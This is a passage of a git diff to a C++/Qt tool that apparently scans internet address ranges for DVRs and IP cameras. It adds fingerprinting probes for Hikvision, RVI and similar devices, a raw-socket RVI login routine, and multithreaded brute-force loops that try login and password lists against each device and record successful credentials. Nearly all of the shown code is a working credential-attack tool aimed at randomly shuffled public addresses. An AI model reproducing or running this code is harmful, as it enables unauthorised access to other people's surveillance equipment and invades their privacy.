inet_addr(sDVRIP); + else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP); + else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + else return false; + + SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sock == INVALID_SOCKET) return false; + + struct linger linger = { 1, gTimeOut }; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger)); + + int res = connect(sock, (sockaddr*)&sa, sizeof(sa)); + int bTO; + char buff[2048] = { 0 }; + if (res != SOCKET_ERROR) { + send(sock, headerRVI, 32, 0); + char tBuff[32] = { 0 }; + int offset = 0; + int sz = 0; + while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) { + memcpy(buff + offset, tBuff, sz); + offset = sz; + } + + shutdown(sock, SD_BOTH); + closesocket(sock); + + if (buff[0] == -80) return true; + else return false; + } + + shutdown(sock, SD_BOTH); + closesocket(sock); + return false; +} + +bool HikVis::checkSAFARI(const char * sDVRIP, int port) { + sockaddr_in sa; + sa.sin_family = AF_INET; + sa.sin_port = htons(port); + + hostent *host = NULL; +#if defined(WIN32) + if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP); + else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP); + else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + else return false; + + SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sock == INVALID_SOCKET) return false; + + struct linger linger = { 1, gTimeOut }; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger)); + + int res = connect(sock, (sockaddr*)&sa, sizeof(sa)); + int bTO; + char buff[2048] = { 0 }; + if (res != SOCKET_ERROR) { + send(sock, headerSAFARI, 128, 0); + char tBuff[128] = { 0 }; + int offset = 0; + int sz = 0; + while ((sz = recvWT(sock, tBuff, 128, gTimeOut, &bTO)) > 0) { + memcpy(buff + offset, tBuff, sz); + offset = sz; + } + + shutdown(sock, SD_BOTH); + closesocket(sock); + + if (buff[0] != '\0') { + return true; + } + + if (buff[0] == 8) return true; + else return false; + } + + shutdown(sock, SD_BOTH); + closesocket(sock); + return false; +} + + lopaStr HikVis::hikLogin(const char * sDVRIP, int wDVRPort) { lopaStr lps = { "UNKNOWN", "", "" }; int passCounter = 0; + char ip[64] = { 0 }; + strcpy(ip, sDVRIP); + int rowIndex = -1; + + char login[64] = { 0 }; + char pass[64] = { 0 }; for (int i = 0; i < MaxLogin; ++i) { for (int j = 0; j < MaxPass; ++j) { FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; }); if (!globalScanFlag) return lps; + ZeroMemory(login, 64); + ZeroMemory(pass, 64); + strcpy(login, loginLst[i]); + strcpy(pass, passLst[j]); - NET_DVR_DEVICEINFO_V30 *info; + NET_DVR_DEVICEINFO_V30 *info = 0; hik_init_ptr(); - if (hik_login_ptr(sDVRIP, wDVRPort, loginLst[i], passLst[j], info) == 0) { - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); - hik_cleanup_ptr(); + int res = hik_login_ptr(ip, wDVRPort, login, pass, info); + hik_cleanup_ptr(); + if (res == 0) { + strcpy(lps.login, login); + strcpy(lps.pass, pass); + + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK"); + } + return lps; } - hik_cleanup_ptr(); - if (BALogSwitched) stt->doEmitionBAData("HV: " + QString(sDVRIP) + ":" + QString::number(wDVRPort) + - "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + - QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); - - Sleep(100); + if (BALogSwitched) { + if (rowIndex == -1) { + rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), + QString(login) + ":" + QString(pass), + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%"); + } + } + else{ rowIndex = -1; } + ++passCounter; + Sleep(200); } } + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL"); + } + else { + stt->doEmitionChangeBARow(rowIndex, "--", "FAIL"); + } return lps; } +int rvi_login_ptr(const char *sDVRIP, int wDVRPort, const char *login, const char *pass) { + sockaddr_in sa; + sa.sin_family = AF_INET; + sa.sin_port = htons(wDVRPort); + + hostent *host = NULL; +#if defined(WIN32) + if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP); + else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP); + else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + else return -1; + + SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sock == INVALID_SOCKET) return -1; + + struct linger linger = { 1, gTimeOut }; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger)); + + int res = connect(sock, (sockaddr*)&sa, sizeof(sa)); + int bTO; + + char newlp[32] = {0}; + memcpy(newlp, loginRVIHeaderStart, 8); + memcpy(newlp + 8, login, strlen(login)); + memcpy(newlp + 16, pass, strlen(pass)); + memcpy(newlp + 24, loginRVIHeaderEnd, 8); + + if (res != SOCKET_ERROR) { + send(sock, newlp, 32, 0); + char buff[32] = { 0 }; + recvWT(sock, buff, 16, gTimeOut, &bTO); + + shutdown(sock, SD_BOTH); + closesocket(sock); + + if (buff[9] == 0x08) return 0; + else return -1; + } + + shutdown(sock, SD_BOTH); + closesocket(sock); + return -1; +} + +lopaStr HikVis::rviLogin(const char * sDVRIP, int wDVRPort) +{ + lopaStr lps = { "UNKNOWN", "", "" }; + int passCounter = 0; + char ip[64] = { 0 }; + strcpy(ip, sDVRIP); + int rowIndex = -1; + + char login[64] = { 0 }; + char pass[64] = { 0 }; + + for (int i = 0; i < MaxLogin; ++i) { + for (int j = 0; j < MaxPass; ++j) { + FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; }); + if (!globalScanFlag) return lps; + ZeroMemory(login, 64); + ZeroMemory(pass, 64); + strcpy(login, loginLst[i]); + strcpy(pass, passLst[j]); + + if (strlen(login) > 8) break; + if (strlen(pass) > 8) continue; + + if (rvi_login_ptr(ip, wDVRPort, login, pass) == 0) { + strcpy(lps.login, login); + strcpy(lps.pass, pass); + + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK"); + } + + return lps; + } + + if (BALogSwitched) { + if (rowIndex == -1) { + rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), + QString(login) + ":" + QString(pass), + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%"); + } + } + else { rowIndex = -1; } + ++passCounter; + Sleep(200); + } + } + + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL"); + } + else { + stt->doEmitionChangeBARow(rowIndex, "--", "FAIL"); + } + return lps; +} + + lopaStr HikVis::HVLobby(const char *ip, const int port) { if (gMaxBrutingThreads > 0) { @@ -51,4 +397,22 @@ lopaStr HikVis::HVLobby(const char *ip, const int port) { lopaStr lps = { "UNKNOWN", "", "" }; return lps; } +} + +lopaStr HikVis::RVILobby(const char *ip, const int port) { + if (gMaxBrutingThreads > 0) { + + while (BrutingThrds >= gMaxBrutingThreads) Sleep(1000); + + ++baCount; + ++BrutingThrds; + const lopaStr &lps = rviLogin(ip, port); + --BrutingThrds; + + return lps; + } + else { + lopaStr lps = { "UNKNOWN", "", "" }; + return lps; + } } \ No newline at end of file diff --git a/HikvisionLogin.h b/HikvisionLogin.h index ebfa7a5..ffcef43 100644 --- a/HikvisionLogin.h +++ b/HikvisionLogin.h @@ -8,11 +8,16 @@ class HikVis { public: static bool isInitialized; private: lopaStr hikLogin(const char * sDVRIP, int wDVRPort); + lopaStr rviLogin(const char * sDVRIP, int wDVRPort); public: + static bool checkHikk(const char * sDVRIP, int port); + static bool checkRVI(const char * sDVRIP, int port); + static bool checkSAFARI(const char * sDVRIP, int port); void hikInit(); void hikCleanup(); lopaStr HVLobby(const char *ip, const int port); + lopaStr RVILobby(const char *ip, const int port); }; #endif // UTILS_H \ No newline at end of file diff --git a/IPCAuth.cpp b/IPCAuth.cpp index ab9fe9e..9f8e09c 100644 --- a/IPCAuth.cpp +++ b/IPCAuth.cpp @@ -11,6 +11,7 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC) char pass[128] = {0}; char request[1024] = {0}; int passCounter = 1; + int rowIndex = -1; std::vector negVector; if(strcmp(SPEC, "IPC") == 0) @@ -179,7 +180,15 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC) if (doPost) res = con.nConnect(request, port, &buffer, postData); else res = con.nConnect(request, port, &buffer); - if (res == -2) return lps; + if (res == -2) { + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL"); + } + else { + stt->doEmitionChangeBARow(rowIndex, "--", "FAIL"); + } + return lps; + } else if (res != -1) { for (int i = 0; i < negVector.size(); ++i) { @@ -194,18 +203,40 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC) { strcpy(lps.login, loginLst[i]); strcpy(lps.pass, passLst[j]); + + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK"); + } + return lps; }; } - if (BALogSwitched) stt->doEmitionBAData("IPC: " + QString(ip) + ":" + QString::number(port) + - "; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" + - QString::number((passCounter++ / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); - + if (BALogSwitched) { + if (rowIndex == -1) { + rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port), + QString(login) + ":" + QString(pass), + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%"); + } + else { + stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%"); + } + } + else { rowIndex = -1; } + ++passCounter; Sleep(100); }; }; - + if (rowIndex == -1) { + nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL"); + } + else { + stt->doEmitionChangeBARow(rowIndex, "--", "FAIL"); + } return lps; } diff --git a/MainStarter.cpp b/MainStarter.cpp index baaae6c..91ec7a7 100644 --- a/MainStarter.cpp +++ b/MainStarter.cpp @@ -10,16 +10,16 @@ int gTimeOut = 3; int gPingTimeout = 1; int gMode; -int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0; -int AnomC1 = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, ssh = 0; +int PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0; +int camerasC1 = 0, filtered = 0, Overl = 0, Alive = 0, saved = 0, other = 0, ssh = 0; int found = 0, indexIP = 0; -int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0; +int MaxPass = 0, MaxLogin = 0, +MaxWFLogin = 0, MaxWFPass = 0, +MaxFTPLogin = 0, MaxFTPPass = 0, +MaxSSHPass = 0; int baCount = 0; int gMaxBrutingThreads = 50; unsigned int Activity = 0; -char **loginLst, **passLst; -char **wfLoginLst, **wfPassLst; -char **sshlpLst; char gTLD[128] = { 0 }; char gPorts[65536] = { 0 }; char currentIP[MAX_ADDR_LEN] = { 0 }; @@ -42,18 +42,20 @@ char metaTargets[256] = { 0 }; char metaETA[256] = { 0 }; char metaOffline[256] = { 0 }; +bool saveBackup; + void MainStarter::unBlockButtons(){ stt->doEmitionBlockButton(false); } int MainStarter::fileLoader(const char *fileName) { - char curIP[256] = { 0 }, curIPCopy[256] = { 0 }; unsigned int importFileSize = 0; FILE *fl = fopen(fileName, "r"); if (fl != NULL) { + char curIP[256] = { 0 }; while (fgets((char*)curIP, sizeof(curIP), fl) != NULL) { if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 && @@ -62,187 +64,169 @@ int MainStarter::fileLoader(const char *fileName) { ) ++importFileSize; ZeroMemory(curIP, sizeof(curIP)); }; - - if (importFileSize == 0) { - fclose(fl); - return -1; - } - - ipsstartfl = new unsigned int*[importFileSize + 1]; - ipsendfl = new unsigned int*[importFileSize + 1]; - ZeroMemory(ipsstartfl, sizeof(ipsstartfl)); - ZeroMemory(ipsendfl, sizeof(ipsendfl)); - - for (int i = 0; i < importFileSize; ++i) - { - ipsstartfl[i] = new unsigned int[4]; - ipsendfl[i] = new unsigned int[4]; - - ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i])); - ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i])); - }; - - rewind(fl); - - while (fgets(curIP, 256, fl) != NULL) - { - if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 && - ((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false) - && (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false) - { - strcpy(curIPCopy, curIP); - char *ptr1 = strstr(curIP, " "); - if (ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0'; - ptr1 = strstr(curIP, " "); - if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; - ptr1 = strstr(curIP, "#"); - if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; - if (strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#') - { - ZeroMemory(curIPCopy, sizeof(curIPCopy)); - ZeroMemory(curIP, sizeof(curIP)); - continue; - }; - - if (strstr(curIP, "-") != NULL) - { - std::vector tmpIPVec = Utils::splitToStrVector(curIP, '-'); - std::vector tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.'); - std::vector tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.'); - - ipsstartfl[MainStarter::flCounter][0] = tmpIPIntVec1[0]; - ipsstartfl[MainStarter::flCounter][1] = tmpIPIntVec1[1]; - ipsstartfl[MainStarter::flCounter][2] = tmpIPIntVec1[2]; - ipsstartfl[MainStarter::flCounter][3] = tmpIPIntVec1[3]; - - ipsendfl[MainStarter::flCounter][0] = tmpIPIntVec2[0]; - ipsendfl[MainStarter::flCounter][1] = tmpIPIntVec2[1]; - ipsendfl[MainStarter::flCounter][2] = tmpIPIntVec2[2]; - ipsendfl[MainStarter::flCounter][3] = tmpIPIntVec2[3]; - - if (ipsstartfl[MainStarter::flCounter][0] > ipsendfl[MainStarter::flCounter][0] - || (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0] - && ipsstartfl[MainStarter::flCounter][1] > ipsendfl[MainStarter::flCounter][1] - ) - || (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0] - && ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1] - && ipsstartfl[MainStarter::flCounter][2] > ipsendfl[MainStarter::flCounter][2] - ) - || (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0] - && ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1] - && ipsstartfl[MainStarter::flCounter][2] >= ipsendfl[MainStarter::flCounter][2] - && ipsstartfl[MainStarter::flCounter][3] > ipsendfl[MainStarter::flCounter][3] - ) - ) - { - stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" + - QString::number(MainStarter::flCounter) + - "] String-> [" + - QString(curIPCopy) + "]"); - return -1; - }; - - unsigned long ip1 = (ipsstartfl[MainStarter::flCounter][0] * 16777216) + - (ipsstartfl[MainStarter::flCounter][1] * 65536) + - (ipsstartfl[MainStarter::flCounter][2] * 256) + - ipsstartfl[MainStarter::flCounter][3]; - unsigned long ip2 = (ipsendfl[MainStarter::flCounter][0] * 16777216) + - (ipsendfl[MainStarter::flCounter][1] * 65536) + - (ipsendfl[MainStarter::flCounter][2] * 256) + - ipsendfl[MainStarter::flCounter][3]; - - if (ip1 > ip2) { - stt->doEmitionRedFoundData("Malformed input: check your range (" + - QString(curIP) + ")"); - } - - gTargets += ip2 - ip1 + 1; - ++MainStarter::flCounter; - } - else if (strstr(curIP, "/") != NULL) - { - if (strlen(curIP) > 18) { - stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" + - QString::number(MainStarter::flCounter) + - "] String-> [" + - QString(curIPCopy) + - "]"); - continue; - } - unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2; - unsigned int netmask = atoi(strstr(curIP, "/") + 1); - - std::vector tmpIPVec = Utils::splitToIntVector(curIP, '.'); - - for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i]; - - /*Set the bytes which won't be changed*/ - for (tmp1 = tmp2 = netmask / 8; tmp1>0; tmp1--){ - ip_min[tmp1 - 1] = ip[tmp1 - 1]; - ip_max[tmp1 - 1] = ip[tmp1 - 1]; - } - /*Set the bytes which should be 0ed or 255ed.*/ - for (tmp1 = tmp2, ++tmp2; tmp2< 4; tmp2++){ - ip_min[tmp2] = 0; - ip_max[tmp2] = 255; - } - /* Finally set the one which has to be shifted.*/ - if (tmp1 < 4){ - tmp2 = 8 - netmask % 8; - ip_min[tmp1] = ip[tmp1] >> tmp2; - ip_min[tmp1] <<= tmp2; - ip_max[tmp1] = ip_min[tmp1] + pow(2, tmp2) - 1; - } - - ipsstartfl[MainStarter::flCounter][0] = ip_min[0]; - ipsstartfl[MainStarter::flCounter][1] = ip_min[1]; - ipsstartfl[MainStarter::flCounter][2] = ip_min[2]; - ipsstartfl[MainStarter::flCounter][3] = ip_min[3]; - - ipsendfl[MainStarter::flCounter][0] = ip_max[0]; - ipsendfl[MainStarter::flCounter][1] = ip_max[1]; - ipsendfl[MainStarter::flCounter][2] = ip_max[2]; - ipsendfl[MainStarter::flCounter][3] = ip_max[3]; - - unsigned long ip1 = (ip_min[0] * 16777216) + - (ip_min[1] * 65536) + - (ip_min[2] * 256) + - ip_min[3]; - unsigned long ip2 = (ip_max[0] * 16777216) + - (ip_max[1] * 65536) + - (ip_max[2] * 256) + - ip_max[3]; - - if (ip1 > ip2) { - stt->doEmitionRedFoundData("Malformed input: check your range (" + - QString(curIP) + ")"); - } - - gTargets += ip2 - ip1 + 1; - ++MainStarter::flCounter; - } - else if (strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL) - { - ///DUMMY/// - } - else - { - stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" + - QString::number(MainStarter::flCounter) + - "] String-> [" + - QString(curIPCopy) + - "]"); - return -1; - }; - ZeroMemory(curIP, sizeof(curIP)); - }; - }; - gTargetsNumber = gTargets; - - stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)"); fclose(fl); } else stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list."); + + if (importFileSize == 0) return -1; + + ipsstartfl = new unsigned int*[importFileSize + 1]; + ipsendfl = new unsigned int*[importFileSize + 1]; + ZeroMemory(ipsstartfl, sizeof(ipsstartfl)); + ZeroMemory(ipsendfl, sizeof(ipsendfl)); + + for (int i = 0; i < importFileSize; ++i) + { + ipsstartfl[i] = new unsigned int[4]; + ipsendfl[i] = new unsigned int[4]; + + ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i])); + ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i])); + }; + + std::vector shuffleArray; + ifstream inputStream(fileName); + std::string curIPStr; + + while (!inputStream.eof()) + { + std::getline(inputStream, curIPStr); + if (curIPStr.size() > 1 + && curIPStr.find("#") == std::string::npos) shuffleArray.push_back(curIPStr); + } + + std::random_shuffle(shuffleArray.begin(), shuffleArray.end()); + for (int i = 0; i < importFileSize; ++i) { + curIPStr = shuffleArray[i]; + if (curIPStr.find("-") != std::string::npos) { + std::vector tmpIPVec = Utils::splitToStrVector(curIPStr, '-'); + std::vector tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.'); + std::vector tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.'); + + ipsstartfl[MainStarter::flCounter][0] = tmpIPIntVec1[0]; + ipsstartfl[MainStarter::flCounter][1] = tmpIPIntVec1[1]; + ipsstartfl[MainStarter::flCounter][2] = tmpIPIntVec1[2]; + ipsstartfl[MainStarter::flCounter][3] = tmpIPIntVec1[3]; + + ipsendfl[MainStarter::flCounter][0] = tmpIPIntVec2[0]; + ipsendfl[MainStarter::flCounter][1] = tmpIPIntVec2[1]; + ipsendfl[MainStarter::flCounter][2] = tmpIPIntVec2[2]; + ipsendfl[MainStarter::flCounter][3] = tmpIPIntVec2[3]; + + if (ipsstartfl[MainStarter::flCounter][0] > ipsendfl[MainStarter::flCounter][0] + || (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0] + && ipsstartfl[MainStarter::flCounter][1] > ipsendfl[MainStarter::flCounter][1] + ) + || (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0] + && ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1] + && ipsstartfl[MainStarter::flCounter][2] > ipsendfl[MainStarter::flCounter][2] + ) + || (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0] + && ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1] + && ipsstartfl[MainStarter::flCounter][2] >= ipsendfl[MainStarter::flCounter][2] + && ipsstartfl[MainStarter::flCounter][3] > ipsendfl[MainStarter::flCounter][3] + ) + ) + { + stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" + + QString(curIPStr.c_str()) + "]"); + return -1; + }; + + unsigned long ip1 = (ipsstartfl[MainStarter::flCounter][0] * 16777216) + + (ipsstartfl[MainStarter::flCounter][1] * 65536) + + (ipsstartfl[MainStarter::flCounter][2] * 256) + + ipsstartfl[MainStarter::flCounter][3]; + unsigned long ip2 = (ipsendfl[MainStarter::flCounter][0] * 16777216) + + (ipsendfl[MainStarter::flCounter][1] * 65536) + + (ipsendfl[MainStarter::flCounter][2] * 256) + + ipsendfl[MainStarter::flCounter][3]; + + if (ip1 > ip2) { + stt->doEmitionRedFoundData(" Malformed input: check your range (" + + QString(curIPStr.c_str()) + ")"); + } + + gTargets += ip2 - ip1 + 1; + ++MainStarter::flCounter; + } + else if (curIPStr.find("/") != std::string::npos) + { + if (curIPStr.size() > 18) { + stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" + + QString(curIPStr.c_str()) + + "]"); + continue; + } + unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2; + unsigned int netmask = atoi(strstr(curIPStr.c_str(), "/") + 1); + + std::vector tmpIPVec = Utils::splitToIntVector(curIPStr.c_str(), '.'); + + for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i]; + + /*Set the bytes which won't be changed*/ + for (tmp1 = tmp2 = netmask / 8; tmp1>0; tmp1--){ + ip_min[tmp1 - 1] = ip[tmp1 - 1]; + ip_max[tmp1 - 1] = ip[tmp1 - 1]; + } + /*Set the bytes which should be 0ed or 255ed.*/ + for (tmp1 = tmp2, ++tmp2; tmp2 < 4; tmp2++){ + ip_min[tmp2] = 0; + ip_max[tmp2] = 255; + } + /* Finally set the one which has to be shifted.*/ + if (tmp1 < 4){ + tmp2 = 8 - netmask % 8; + ip_min[tmp1] = ip[tmp1] >> tmp2; + ip_min[tmp1] <<= tmp2; + ip_max[tmp1] = ip_min[tmp1] + pow(2, tmp2) - 1; + } + + ipsstartfl[MainStarter::flCounter][0] = ip_min[0]; + ipsstartfl[MainStarter::flCounter][1] = ip_min[1]; + ipsstartfl[MainStarter::flCounter][2] = ip_min[2]; + ipsstartfl[MainStarter::flCounter][3] = ip_min[3]; + + ipsendfl[MainStarter::flCounter][0] = ip_max[0]; + ipsendfl[MainStarter::flCounter][1] = ip_max[1]; + ipsendfl[MainStarter::flCounter][2] = ip_max[2]; + ipsendfl[MainStarter::flCounter][3] = ip_max[3]; + + unsigned long ip1 = (ip_min[0] * 16777216) + + (ip_min[1] * 65536) + + (ip_min[2] * 256) + + ip_min[3]; + unsigned long ip2 = (ip_max[0] * 16777216) + + (ip_max[1] * 65536) + + (ip_max[2] * 256) + + ip_max[3]; + + if (ip1 > ip2) { + stt->doEmitionRedFoundData("Malformed input: check your range (" + + QString(curIPStr.c_str()) + ")"); + } + + gTargets += ip2 - ip1 + 1; + ++MainStarter::flCounter; + } + else if (strstr(curIPStr.c_str(), "RESTORE_IMPORT_SESSION") != NULL) + { + ///DUMMY/// + } + else + { + stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" + + QString::number(MainStarter::flCounter) + + "] String-> [" + + QString(curIPStr.c_str()) + + "]"); + return -1; + }; + }; + gTargetsNumber = gTargets; + stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)"); + } int MainStarter::loadTargets(const char *data) { @@ -379,12 +363,16 @@ void MainStarter::saveBackupToFile() if (MainStarter::flCounter > 0) { + if (!saveBackup) return; FILE *savingFile = fopen("tempIPLst.bk", "w"); if (savingFile != NULL) { if (gflIndex < MainStarter::flCounter) { - sprintf(ipRange, "%s-%d.%d.%d.%d\n", - currentIP, + sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n", + ipsstartfl[gflIndex][0], + ipsstartfl[gflIndex][1], + ipsstartfl[gflIndex][2], + ipsstartfl[gflIndex][3], ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], @@ -496,7 +484,7 @@ void MainStarter::saver() { saverRunning = true; Sleep(1000); - while (globalScanFlag) + while (saveBackup && globalScanFlag) { savingBackUpFile = true; saveBackupToFile(); @@ -944,7 +932,7 @@ void MainStarter::startIPScan(){ tAddr.s_addr = ntohl(i); ipVec.push_back(inet_ntoa(tAddr)); - if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { + if (ipVec.size() >= (offset < 10000 ? offset : 10000)) { std::random_shuffle(ipVec.begin(), ipVec.end()); while (ipVec.size() != 0) { @@ -953,9 +941,9 @@ void MainStarter::startIPScan(){ if (!globalScanFlag) goto haters_gonna_hate_IPM; ++indexIP; + strcpy(currentIP, ipVec[0].c_str()); ipVec.erase(ipVec.begin()); - verboseProgress(gTargets); Threader::fireThread(currentIP, (void*(*)(void))_connect); @@ -1180,7 +1168,6 @@ void MainStarter::startDNSScan(){ gTargets = dnsCounter; gTargetsNumber = gTargets; stt->doEmitionYellowFoundData("Starting DNS-scan..."); - stt->doEmitionChangeStatus("Scanning..."); int y = _GetDNSFromMask(dataEntry, "", dataEntry); if (y == -1) @@ -1189,6 +1176,11 @@ void MainStarter::startDNSScan(){ }; } +struct Corac { + int index; + std::string ip; +}; + void MainStarter::startImportScan(){ if (MainStarter::flCounter == 0) { @@ -1198,56 +1190,120 @@ void MainStarter::startImportScan(){ return; }; - stt->doEmitionChangeStatus("Scanning..."); - for (gflIndex = 0; gflIndex < MainStarter::flCounter; ++gflIndex) - { - sprintf(metaRange, "%d.%d.%d.%d-%d.%d.%d.%d", - ipsstartfl[gflIndex][0], ipsstartfl[gflIndex][1], ipsstartfl[gflIndex][2], ipsstartfl[gflIndex][3], - ipsendfl[gflIndex][0], ipsendfl[gflIndex][1], ipsendfl[gflIndex][2], ipsendfl[gflIndex][3]); + //std::vector ipVec; + std::vector 